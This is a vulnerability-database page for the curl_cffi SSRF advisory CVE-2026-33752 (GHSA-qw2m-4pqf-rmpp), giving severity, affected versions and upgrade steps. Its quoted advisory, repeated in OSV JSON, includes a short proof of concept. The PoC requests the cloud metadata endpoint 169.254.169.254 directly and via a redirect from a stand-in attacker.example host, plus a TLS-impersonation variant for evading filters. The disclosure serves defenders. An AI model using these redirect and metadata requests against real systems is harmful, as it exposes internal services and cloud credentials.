Vulnerabilities in pkg:pypi/curl_cffi

PACKAGE
Advisory Identifier: GHSA-qw2m-4pqf-rmpp
Advisory Summary

CVE-2026-33752 is a HIGH (CVSS 8.6) redirect-based ssrf leads to internal vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting curl_cffi libraries in the PyPI ecosystem. The issue involves redirect-based ssrf leads to internal network access in curl_cffi (with tls impersonation bypass). Remediation is available by upgrading affected packages to version 0.15.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/curl_cffi

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/curl_cffi. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-qw2m-4pqf-rmpp CVE-2026-33752 HIGH curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)

CVE-2026-33752 at a Glance

CVE Identifier CVE-2026-33752
GHSA Identifier GHSA-qw2m-4pqf-rmpp
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product curl_cffi
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-33752

To remediate this vulnerability, upgrade all affected curl_cffi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

curl_cffi fixed: 0.15.0
pip install curl_cffi>=0.15.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show curl_cffi

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33752, inspect your installed packages using pip:

pip show curl_cffi

Analyze the terminal output to locate any version of curl_cffi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.15.0), your application is affected.

Note: The pip show curl_cffi command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In curl_cffi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. ### Details The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer. This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed. Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources. ### PoC 1. Direct internal request ``` import curl_cffi resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/") print(resp.text) ``` 2. Redirect to internal service Attacker server: ``` GET /test → 302 Location: http://169.254.169.254/latest/meta-data/ ``` Victim code: ``` import curl_cffi resp = curl_cffi.get("https://attacker.example/test") print(resp.text) ``` Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed 3. With TLS impersonation ``` import curl_cffi\ resp = curl_cffi.get( "https://attacker.example/test", impersonate="chrome") ``` In some environments, this may help the request bypass TLS-based filtering controls. ### Impact An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

CVE-2026-33752 Affected curl_cffi Versions

1 component(s)
Fixed Versions:
0.15.0
Product / Package Ecosystem Affected Versions Fixed Version
curl_cffi
PyPI
< 0.15.0
0.15.0

References

Frequently Asked Questions

What is CVE-2026-33752?
CVE-2026-33752 is a security vulnerability in curl_cffi involving Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass) under CWE-918: Server-Side Request Forgery (SSRF).
Which curl_cffi versions are affected?
Affected versions include releases prior to 0.15.0 across affected packages: curl_cffi.
What version fixes CVE-2026-33752?
Upgrading to 0.15.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is curl_cffi affected?
Yes, curl_cffi is affected in releases prior to 0.15.0. Upgrade your dependency to 0.15.0 or later.
What is the CVSS score of CVE-2026-33752?
CVE-2026-33752 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-33752?
CVE-2026-33752 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-33752?
Run the dependency tree command: 'pip show curl_cffi'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qw2m-4pqf-rmpp",
  "modified" : "2026-04-06T23:18:14Z",
  "published" : "2026-04-03T21:36:44Z",
  "aliases" : [ "CVE-2026-33752" ],
  "summary" : "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)",
  "details" : "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n→ 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "curl_cffi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33752"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lexiforest/curl_cffi"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:36:44Z",
    "nvd_published_at" : "2026-04-06T16:16:34Z"
  }
}